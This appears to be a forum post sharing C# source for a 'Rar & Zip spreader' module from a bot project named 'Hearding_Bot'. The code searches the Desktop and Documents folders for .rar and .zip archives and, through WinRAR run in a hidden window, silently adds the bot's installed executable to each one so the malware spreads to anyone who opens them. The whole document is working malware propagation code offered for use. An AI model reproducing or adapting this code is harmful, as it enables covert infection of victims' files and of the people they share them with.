Rar & Zip spreader
کد PHP:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Hearding_Bot
{
class RAR
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPTStr)] string path, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder shortPath, int shortPathLength);
public static List<string> Paths = new List<string>();
public static List<string> Directories = new List<string>();
public static bool checkRAR()
{
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\WinRAR"))
{
//WinRAR is not installed
return false;
}
else { return true; }
}
public static bool PopulateList()
{
if (Paths.Count - 1 <= 0)
{
Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
return true;
}
else{ return true; }
}
public static void Search()
{
foreach (string directories in Paths)
{
foreach (string dir in Directory.GetDirectories(directories))
{
Directories.Add(dir);
}
}
Sift();
}
public static void Sift()
{
foreach (string dir in Directories)
{
foreach (string file in Directory.GetFiles(dir))
{
if (file.EndsWith(".rar") || file.EndsWith(".zip"))
{
Inject(file);
}
}
}
}
public static void Inject(string Inject)
{
string rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\WinRAR\\WinRAR.exe";
StringBuilder exePath = new StringBuilder(255);
GetShortPathName(Path.Combine(Config.installPath, Config.installFile), exePath, exePath.Capacity);
string path = exePath.ToString();
StringBuilder archivePath = new StringBuilder(255);
GetShortPathName(Inject, archivePath, archivePath.Capacity);
try
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.Arguments = " a " + archivePath + " " + path;
startInfo.FileName = rarPath;
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(startInfo);
//successful spread
}
catch { //error }
}
}
}